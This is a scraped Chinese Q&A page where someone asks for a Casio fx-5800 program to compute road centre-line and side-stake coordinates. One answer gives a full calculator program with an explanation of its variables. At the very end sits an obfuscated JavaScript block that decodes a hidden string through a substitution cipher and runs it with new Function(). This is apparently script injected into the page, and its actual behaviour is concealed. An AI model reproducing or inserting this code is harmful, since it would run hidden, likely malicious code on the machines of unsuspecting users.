卡西欧5800计算器求中边桩程序。谢谢朋友们邮箱547075499@qq.com

中边桩放样程序
2024-12-03 03:46:56
推荐回答(4个)
回答1:

  卡西欧5800道路施工逐桩坐标计算程序
  说明:本程序包括了一个完整复合曲线的所有计算,其中需要输入的要素也是对应的完整复合曲线的要素,对不完整的曲线需要将要素进行必要的计算,转换后方能使用该程序,本程序已经包括了边桩几斜交边桩坐标的计算,参见要素说明.
  本程序是通过4800,4850程序的改编而来,详细程序如下:
  ?D:?A:?R:?C:?N:?E:?F ( 输入计算要素,见后 )
  C2÷6÷R-C4÷336÷R3+C6÷42240÷R5-R(1-COS(90C÷R÷∏))→X
  C-C3÷40÷R2+C5÷3456÷R4-RSin(90C÷R÷∏)-C7÷599040÷R6→Y
  90C÷∏÷R→B
  (R+X)tan(Abs(A))÷2)+Y→T
  (Abs(A)-2B) ∏R÷180+2C→L
  D-T→G
  G+C→H
  G+L÷2→I
  G+L-C→K
  G+L→M
  A÷Abs(A) →S
  F+A÷2+90S→U
  (R+X)÷cos(A÷2)→V
  N+V cos(U)→B
  E+V sin(U)→O
  Lbl 1
  ?Z 输入待求点桩号
  If Z≤G
  Then
  T+G-Z→L
  F+180→V
  F→U
  Goto 2
  IfEnd
  If Z≤H
  Then
  Z-G→L
  Goto 7
  IfEend
  If Z≤K
  Then
  F+A÷2+180+90S+(Z-I)×180S÷R÷∏→L
  L+90S→U
  Goto 5
  IfEend
  If Z≤M
  Then
  M-Z→L
  Goto 7
  IfEnd
  If Z>M
  Then
  Z-M+T→L
  F+A→V
  V→U
  Goto 2
  IfEnd
  Lbl 2
  “X=”:N+Lcos(V)→X ▲
  “Y=”:E+Lsin(V)→Y ▲
  Goto 6
  Lbl 3
  “X=”:X+Abs(J)cos(V)→X ▲
  “Y=”:Y+Abs(J)sin(V)→Y ▲
  Goto 1
  Lbl 4
  “X=”:N+Tcos(J)+Vcos(Y)→X ▲
  “Y=”:E+Tsin(J)+Vsin(Y)→Y ▲
  Goto 6
  Lbl 5
  “X=”:B+Rcos(L)→X ▲
  “Y=”:O+Rsin(L)→Y ▲
  Goto 6
  Lbl 7
  L-L5÷(40 R2 C2)+L9÷3456÷R4÷C4-L13÷599040÷(C6R6)→V
  L3÷(6RC)-L7÷336÷(C3R3)+L11÷42240÷(C5R5)→J
  Stan-1(J÷V) →U
  √(V2+J2)→V
  If Z≤G+C
  Then
  Goto 8
  IfEend
  If Z≤M
  Then
  Goto 9
  IfEend
  Lbl 8
  F+180→J
  F+U→Y
  F+90SL2÷(RC∏)→U
  Goto 4
  Lbl 9
  F+A→J
  J+180-U→Y
  J-90SL2÷(RC∏) →U
  Goto 4
  Lbl 6
  “BZ=”:?→J 开始计算边桩坐标,J为斜距,左侧输负,右侧输正
  90→V 斜交角度,如果不是正交改为:?→V
  If J=0 如果不计算边桩坐标J输0直接返回到桩号输入
  Then
  Goto 1
  IfEnd
  If J<0
  Then
  U-180+V→V
  Goto 3
  IfEnd
  If J>0
  Then
  U+V→V
  Goto 3
  IfEnd

  要素说明:D—交点桩号,该交点为完整复合曲线的大交点,如果不满足条件需要转换
  A— 转角值,路线右偏输正,左偏输负。
  R—交点半径
  C—缓和曲线长度(输入前确定缓和曲线是否完整C=A2/R,这里A为缓和曲线参数)
  N—交点X坐标
  E—交点Y坐标
  F—计算方位角
  Z—待求点桩号
  其他中间过渡变量不用考虑。

回答2:

本人给你个任意线元的计算程序吧,采用微积分编写的,适应于任意曲线元或直线元

回答3:

好谢谢

回答4:

道路曲线中边桩?

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();